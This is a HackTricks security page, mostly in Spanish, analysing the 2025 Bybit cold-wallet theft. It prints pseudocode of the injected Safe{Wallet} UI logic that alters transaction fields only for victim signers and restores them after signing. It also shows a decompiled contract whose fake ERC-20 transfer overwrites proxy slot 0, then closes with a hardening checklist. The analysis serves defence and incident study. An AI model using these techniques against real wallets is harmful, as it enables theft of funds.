Compromiso del flujo de firma Web3 y toma de control del proxy Safe por delegatecall
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Resumen
Una cold-wallet theft chain combinó un compromiso de la cadena de suministro del Safe{Wallet} web UI con una primitiva on-chain delegatecall que sobrescribió el puntero de implementación del proxy (slot 0). Las conclusiones clave son:
- Si una dApp puede inyectar código en la ruta de signing, puede hacer que un signer produzca una EIP-712 signature válida sobre campos elegidos por el atacante mientras restaura los datos originales del UI para que otros signers no se den cuenta.
- Los Safe proxies almacenan
masterCopy(implementación) en el storage slot 0. Un delegatecall a un contrato que escribe en slot 0 efectivamente “actualiza” el Safe con la lógica del atacante, otorgando control total de la wallet.
Fuera de cadena: Mutación dirigida del proceso de firma en Safe
Un bundle de Safe manipulado (_app-*.js) atacó selectivamente direcciones específicas de Safe y signer. La lógica inyectada se ejecutaba justo antes de la llamada de firma:
// Pseudocode of the malicious flow
orig = structuredClone(tx.data);
if (isVictimSafe && isVictimSigner && tx.data.operation === 0) {
tx.data.to = attackerContract;
tx.data.data = "0xa9059cbb..."; // ERC-20 transfer selector
tx.data.operation = 1; // delegatecall
tx.data.value = 0;
tx.data.safeTxGas = 45746;
const sig = await sdk.signTransaction(tx, safeVersion);
sig.data = orig; // restore original before submission
tx.data = orig;
return sig;
}
Attack properties
- Context-gated: listas blancas hard-coded para Safes/firmares víctimas evitaban ruido y reducían la detección.
- Last-moment mutation: campos (
to,data,operation, gas) se sobrescribían inmediatamente antes designTransaction, y luego se revertían, de modo que las cargas de propuesta en la UI parecían benignas mientras las firmas correspondían a la carga del atacante. - EIP-712 opacity: wallets mostraban datos estructurados pero no decodificaban calldata anidada ni resaltaban
operation = delegatecall, haciendo que el mensaje mutado fuese efectivamente firmado a ciegas.
Gateway validation relevance
Las propuestas de Safe se envían al Safe Client Gateway. Antes de los checks endurecidos, el gateway podía aceptar una propuesta donde safeTxHash/firma correspondían a campos distintos del body JSON si la UI los reescribía tras la firma. Después del incidente, el gateway ahora rechaza propuestas cuyo hash/firma no coinciden con la transacción enviada. Una verificación de hash similar en server-side debería imponerse en cualquier API de signing-orchestration.
2025 Bybit/Safe incident highlights
- El 21 de febrero de 2025 el drain del cold-wallet de Bybit (~401k ETH) reutilizó el mismo patrón: un Safe S3 bundle comprometido solo se activaba para los signers de Bybit y cambiaba
operation=0→1, apuntandotoa un contrato atacante pre-desplegado que escribe el slot 0. - Una copia en Wayback de
_app-52c9031bfa03da47.jsmuestra la lógica condicionada al Safe de Bybit (0x1db9…cf4) y a direcciones de signer, luego inmediatamente se revertía a un bundle limpio dos minutos después de la ejecución, reflejando el truco “mutar → firmar → restaurar”. - El contrato malicioso (p.ej.,
0x9622…c7242) contenía funciones simplessweepETH/sweepERC20más untransfer(address,uint256)que escribe el implementation slot. La ejecución deexecTransaction(..., operation=1, to=contract, data=transfer(newImpl,0))desplazó la implementación del proxy y otorgó control total.
On-chain: Delegatecall proxy takeover via slot collision
Los proxies Safe mantienen masterCopy en el storage slot 0 y delegan toda la lógica a él. Debido a que Safe soporta operation = 1 (delegatecall), cualquier transacción firmada puede apuntar a un contrato arbitrario y ejecutar su código en el contexto de almacenamiento del proxy.
Un contrato atacante simuló un ERC-20 transfer(address,uint256) pero en su lugar escribió _to en el slot 0:
// Decompiler view (storage slot 0 write)
uint256 stor0; // slot 0
function transfer(address _to, uint256 _value) external {
stor0 = uint256(uint160(_to));
}
Execution path:
- Victims sign
execTransactionwithoperation = delegatecall,to = attackerContract,data = transfer(newImpl, 0). - Safe
masterCopyvalidates signatures over these parameters. - Proxy delegatecalls into
attackerContract; thetransferbody writes slot 0. - Slot 0 (
masterCopy) now points to attacker-controlled logic → full wallet takeover and fund drain.
Guard & version notes (post-incident hardening)
- Safes >= v1.3.0 can install a Guard to veto
delegatecallor enforce ACLs onto/selectors; Bybit ran v1.1.1, so no Guard hook existed. Upgrading contracts (and re-adding owners) is required to gain this control plane.
Detection & hardening checklist
- UI integrity: pin JS assets / SRI; monitor bundle diffs; treat signing UI as part of the trust boundary.
- Sign-time validation: hardware wallets with EIP-712 clear-signing; explicitly render
operationand decode nested calldata. Reject signing whenoperation = 1unless policy allows it. - Server-side hash checks: gateways/services that relay proposals must recompute
safeTxHashand validate signatures match the submitted fields. - Policy/allowlists: preflight rules for
to, selectors, asset types, and disallow delegatecall except for vetted flows. Require an internal policy service before broadcasting fully signed transactions. - Contract design: avoid exposing arbitrary delegatecall in multisig/treasury wallets unless strictly necessary. Place upgrade pointers away from slot 0 or guard with explicit upgrade logic and access control.
- Monitoring: alert on delegatecall executions from wallets holding treasury funds, and on proposals that change
operationfrom typicalcallpatterns.
References
- AnChain.AI forensic breakdown of the Bybit Safe exploit
- Zero Hour Technology analysis of the Safe bundle compromise
- In-depth technical analysis of the Bybit hack (NCC Group)
- EIP-712
- safe-client-gateway (GitHub)
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


